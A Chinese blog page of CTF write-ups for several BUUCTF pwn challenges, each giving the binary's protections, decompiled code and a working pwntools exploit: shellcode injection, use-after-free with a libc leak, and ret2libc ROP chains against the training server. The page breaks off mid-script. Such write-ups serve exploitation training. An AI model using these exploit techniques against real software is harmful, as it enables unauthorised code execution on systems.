<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      BUU_PWN刷题_0x40-0x4F 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        BUU_PWN刷题_0x40-0x4F
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-10-17
      </span>

                                                                        <span class="post-pubtime"> 本文共7.5k字 </span>

                                                                        <span class="post-pubtime">
        大约需要70min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h1 id="0x40-ciscn-2019-s-9"><a href="#0x40-ciscn-2019-s-9" class="headerlink" title="0x40.ciscn_2019_s_9"></a>0x40.ciscn_2019_s_9</h1><p>看下检查,全没开</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ checksec ./ciscn_s_9</span><br><span class="line">[*] &#x27;/home/yutao/Desktop/ciscn_s_9&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">    RWX:      Has RWX segments</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">pwn</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">24</span>]; <span class="comment">// [esp+8h] [ebp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nHey! ^_^&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nIt&#x27;s nice to meet you&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nDo you have anything to tell?&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;&gt;&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  fgets(s, <span class="number">50</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;OK bye~&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>有可用的gadget：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">.text:08048551 hint            proc near</span><br><span class="line">.text:08048551 ; __unwind &#123;</span><br><span class="line">.text:08048551                 push    ebp</span><br><span class="line">.text:08048552                 mov     ebp, esp</span><br><span class="line">.text:08048554                 jmp     esp</span><br><span class="line">.text:08048554 hint            endp</span><br></pre></td></tr></table></figure>

<p>直接写shellcode的话会太长，那么需要找一些短的shellcode(或者手写)，之后的ret覆写为jmp的那个gadget，后面还需要提升堆栈。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level = <span class="string">&quot;debug&quot;</span>,arch=<span class="string">&#x27;i386&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./ciscn_s_9&quot;)</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">29087</span>)</span><br><span class="line">jump_esp=<span class="number">0x8048554</span></span><br><span class="line">shellcode=<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">xor eax,eax</span></span><br><span class="line"><span class="string">xor edx,edx</span></span><br><span class="line"><span class="string">push edx</span></span><br><span class="line"><span class="string">push 0x68732f2f</span></span><br><span class="line"><span class="string">push 0x6e69622f</span></span><br><span class="line"><span class="string">mov ebx,esp</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">mov al,0xB</span></span><br><span class="line"><span class="string">int 0x80</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">shell = asm(shellcode)</span><br><span class="line">payload = shell.ljust(<span class="number">0x24</span>,<span class="string">&#x27;a&#x27;</span>)+p32(jump_esp)</span><br><span class="line">payload+=asm(<span class="string">&quot;sub esp,40;call esp;&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x41-pwnable-hacknote"><a href="#0x41-pwnable-hacknote" class="headerlink" title="0x41.pwnable_hacknote"></a>0x41.pwnable_hacknote</h1><p>没开PIE</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec  hacknote </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/hacknote&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<p>UAF，之前好像做过</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">add</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">void</span> **v0; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="keyword">int</span> size; <span class="comment">// [esp+10h] [ebp-18h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [esp+14h] [ebp-14h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v5; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( chunk_number &lt;= <span class="number">5</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">4</span>; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;ptr)[i] )</span><br><span class="line">      &#123;</span><br><span class="line">        (&amp;ptr)[i] = <span class="built_in">malloc</span>(<span class="number">8u</span>);</span><br><span class="line">        <span class="keyword">if</span> ( !(&amp;ptr)[i] )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        *(&amp;ptr)[i] = puts_0;<span class="comment">//puts的地址</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Note size :&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">8u</span>);</span><br><span class="line">        size = atoi(buf);</span><br><span class="line">        v0 = (&amp;ptr)[i];</span><br><span class="line">        v0[<span class="number">1</span>] = <span class="built_in">malloc</span>(size);</span><br><span class="line">        <span class="keyword">if</span> ( !(&amp;ptr)[i][<span class="number">1</span>] )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Content :&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, (&amp;ptr)[i][<span class="number">1</span>], size);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Success !&quot;</span>);</span><br><span class="line">        ++chunk_number;</span><br><span class="line">        <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v5;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Full&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">delete</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt;= chunk_number )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (&amp;ptr)[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>((&amp;ptr)[v1][<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">free</span>((&amp;ptr)[v1]);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Success&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">print</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4u</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt;= chunk_number )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (&amp;ptr)[v1] )</span><br><span class="line">    (*(&amp;ptr)[v1])((&amp;ptr)[v1]);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>free后没清空，有UAF</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># io = process(&#x27;./hacknote&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">26602</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./hacknote&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span>(<span class="params">size,content</span>):</span></span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Your choice :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Note size :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Content :&#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_note</span>(<span class="params">index</span>):</span></span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Your choice :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_note</span>(<span class="params">index</span>):</span></span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Your choice :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line">add_note(<span class="number">0x20</span>,<span class="string">&#x27;aaaaaaa&#x27;</span>)</span><br><span class="line">add_note(<span class="number">0x20</span>,<span class="string">&#x27;aaaaaa&#x27;</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">1</span>)</span><br><span class="line">delete_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">payload = p32(<span class="number">0x804862B</span>)+ p32(<span class="number">0x804A018</span>)</span><br><span class="line"></span><br><span class="line">add_note(<span class="number">8</span>,payload)</span><br><span class="line">print_note(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">free_got = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"></span><br><span class="line">base = free_got - libc.sym[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">system = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">delete_note(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload = p32(system)+<span class="string">&#x27;;sh\x00&#x27;</span></span><br><span class="line"></span><br><span class="line">add_note(<span class="number">8</span>,payload)</span><br><span class="line">print_note(<span class="number">1</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x42-jarvisoj-level5"><a href="#0x42-jarvisoj-level5" class="headerlink" title="0x42.jarvisoj_level5"></a>0x42.jarvisoj_level5</h1><p>先看保护：</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec level3_x64 </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/level3_x64&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    No RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;Input:\n&quot;</span>, <span class="number">7uLL</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x200</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>解法一：ret2libc</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./level3_x64&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26861</span>)</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">&#x27;./level3_x64&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-x64-2.23.so&#x27;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&#x27;/lib/x86_64-linux-gnu/libdl.so.2&#x27;)</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x04006b3</span></span><br><span class="line">pop_rsi_r15_ret = <span class="number">0x00004006b1</span> </span><br><span class="line">main_addr = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">write_got = elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x88</span>+p64(pop_rdi_ret)+p64(<span class="number">1</span>)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(<span class="number">8</span>)+p64(write_plt)+p64(main_addr)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line"><span class="comment"># io.recv(8)</span></span><br><span class="line">write_addr = u64(io.recv(<span class="number">8</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(write_addr)</span><br><span class="line">libc_base = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base+ libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x88</span>+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(main_addr)+p64(<span class="number">1</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>解法二：mprotect</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span 